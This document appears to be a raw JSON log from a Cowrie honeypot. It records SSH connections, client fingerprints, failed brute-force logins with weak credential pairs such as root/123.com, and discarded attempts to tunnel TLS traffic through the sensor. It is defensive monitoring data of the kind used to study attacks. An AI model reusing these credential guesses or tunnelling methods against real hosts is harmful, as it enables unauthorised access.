{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":32072,"dst_ip":"10.17.0.5","dst_port":22,"session":"ad1f3e73681a","protocol":"ssh","message":"New connection: 45.153.34.195:32072 (10.17.0.5:22) [session: ad1f3e73681a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:42:54.703294Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:42:54.713618Z","src_ip":"45.153.34.195","session":"ad1f3e73681a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:42:54.785389Z","src_ip":"45.153.34.195","session":"ad1f3e73681a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sammy","password":"sammy","message":"login attempt [sammy/sammy] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:42:54.797327Z","src_ip":"91.92.40.36","session":"7a6019b46963","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":49630,"dst_ip":"10.17.0.5","dst_port":22,"session":"b236939aedff","protocol":"ssh","message":"New connection: 91.92.40.36:49630 (10.17.0.5:22) [session: b236939aedff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:42:54.974509Z"}
{"eventid":"cowrie.login.failed","username":"ui","password":"ui","message":"login attempt [ui/ui] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:42:55.101519Z","src_ip":"45.153.34.195","session":"ad1f3e73681a","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:42:55.362391Z","src_ip":"91.92.40.36","session":"b236939aedff","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:42:55.365637Z","src_ip":"91.92.40.36","session":"b236939aedff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:42:56.185499Z","src_ip":"45.153.34.195","session":"ad1f3e73681a","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"23.175.50.47","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:42:56.227996Z","session":"a9c66cba54e4","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:42:56.284663Z","src_ip":"23.175.50.47","session":"a9c66cba54e4","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03bC\\x08\\xf3\\xc2\\x078\\xcc*\\xf0/\\x15<\\xb3\\tj+\\xab>\\x92\\xf9\\x9fv\\xd3Y\\xa7\\x0b\\x05\\xf0\\xd0\\x80\\x05 \\x85\\xde\\xe0\\xa9X\\x94\\xea\\xfc\\x08\\xd7iH\\xa8\\x97n\\tW\\xbf\\xdd,`\\xed>\\x90`'\\x02\\xc5\\x06l\\xe2\\xf6\\x00 ::\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\n\\n\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08ZZ\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)ZZ\\x00\\x01\\x00\\x00\\x1d\\x00 \\xaf\\xa0\\x1f\\xfb\\xcd8v\\xe6<c\\x87\\x94\\x87\\x0f[R\\xaf\\x82\\x97\\xbb\\x1860l\\x19m\\xe6=\\xb9\\r\\x90l\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nJJ\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xda\\xda\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","id":1,"message":"discarded direct-tcp forward request 1 to 104.21.5.61:443 with data b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03bC\\x08\\xf3\\xc2\\x078\\xcc*\\xf0/\\x15<\\xb3\\tj+\\xab>\\x92\\xf9\\x9fv\\xd3Y\\xa7\\x0b\\x05\\xf0\\xd0\\x80\\x05 \\x85\\xde\\xe0\\xa9X\\x94\\xea\\xfc\\x08\\xd7iH\\xa8\\x97n\\tW\\xbf\\xdd,`\\xed>\\x90`'\\x02\\xc5\\x06l\\xe2\\xf6\\x00 ::\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\n\\n\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08ZZ\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)ZZ\\x00\\x01\\x00\\x00\\x1d\\x00 \\xaf\\xa0\\x1f\\xfb\\xcd8v\\xe6<c\\x87\\x94\\x87\\x0f[R\\xaf\\x82\\x97\\xbb\\x1860l\\x19m\\xe6=\\xb9\\r\\x90l\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nJJ\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xda\\xda\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:42:56.288265Z","src_ip":"23.175.50.47","session":"a9c66cba54e4","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"23.175.50.47","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:42:56.360247Z","session":"a9c66cba54e4","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:42:56.419736Z","src_ip":"23.175.50.47","session":"a9c66cba54e4","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xd4{~w\\xea<\\xfdYc\\x0f2\\xa0\\xf3\\x85f\\x9d\\x91\\xc4\"\\xbe\\x11\\x90\\xe0\\xad\\xfc\\x02\\xed\\x90,\\x8f\\xecw \\xca\\xcaN\\xacg\\x9b.\\xd0\\x89<\\xb0\\xa7Hq\\xf8\\x9ds\\xf8{9\\x13\\xd7?P{\"\\xc214\\x02\\xfa\\xb9\\x00\"ZZ\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xaa\\xaa\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08JJ\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)JJ\\x00\\x01\\x00\\x00\\x1d\\x00 \\xaf\\xa4\\xd0\\xc76\\xf7\\x8bf\\xb9%\\x19\\x81\\x9c\\x03\\xc4\\xeci\\xb6_8\\x1d\\xf9\\xcf\\xa5\\x1e\\x05L.x\\xc3x9\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xea\\xea\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02**\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xd4{~w\\xea<\\xfdYc\\x0f2\\xa0\\xf3\\x85f\\x9d\\x91\\xc4\"\\xbe\\x11\\x90\\xe0\\xad\\xfc\\x02\\xed\\x90,\\x8f\\xecw \\xca\\xcaN\\xacg\\x9b.\\xd0\\x89<\\xb0\\xa7Hq\\xf8\\x9ds\\xf8{9\\x13\\xd7?P{\"\\xc214\\x02\\xfa\\xb9\\x00\"ZZ\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xaa\\xaa\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08JJ\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)JJ\\x00\\x01\\x00\\x00\\x1d\\x00 \\xaf\\xa4\\xd0\\xc76\\xf7\\x8bf\\xb9%\\x19\\x81\\x9c\\x03\\xc4\\xeci\\xb6_8\\x1d\\xf9\\xcf\\xa5\\x1e\\x05L.x\\xc3x9\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xea\\xea\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02**\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:42:56.422580Z","src_ip":"23.175.50.47","session":"a9c66cba54e4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.54772162437439,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:42:56.670692Z","src_ip":"128.199.8.54","session":"cf076896b9b5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"11.0","message":"Connection lost after 11.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:42:57.235599Z","src_ip":"91.92.40.36","session":"7a6019b46963","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":32090,"dst_ip":"10.17.0.5","dst_port":22,"session":"4cde288023ba","protocol":"ssh","message":"New connection: 45.153.34.195:32090 (10.17.0.5:22) [session: 4cde288023ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:42:57.603981Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:42:57.646338Z","src_ip":"45.153.34.195","session":"4cde288023ba","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:42:57.740180Z","src_ip":"45.153.34.195","session":"4cde288023ba","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123.com","message":"login attempt [root/123.com] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:42:58.066415Z","src_ip":"45.153.34.195","session":"4cde288023ba","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.6","message":"Connection lost after 7.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:42:58.236395Z","src_ip":"23.175.50.47","session":"a9c66cba54e4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"p","password":"p","message":"login attempt [p/p] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:42:58.250120Z","src_ip":"91.92.40.36","session":"b236939aedff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:42:59.152443Z","src_ip":"45.153.34.195","session":"4cde288023ba","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.3","message":"Connection lost after 5.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:43:00.227696Z","src_ip":"91.92.40.36","session":"b236939aedff","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.36.122.139","src_port":39892,"dst_ip":"10.17.0.5","dst_port":22,"session":"f3bd322b5e34","protocol":"ssh","message":"New connection: 101.36.122.139:39892 (10.17.0.5:22) [session: f3bd322b5e34]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:43:00.319746Z"}
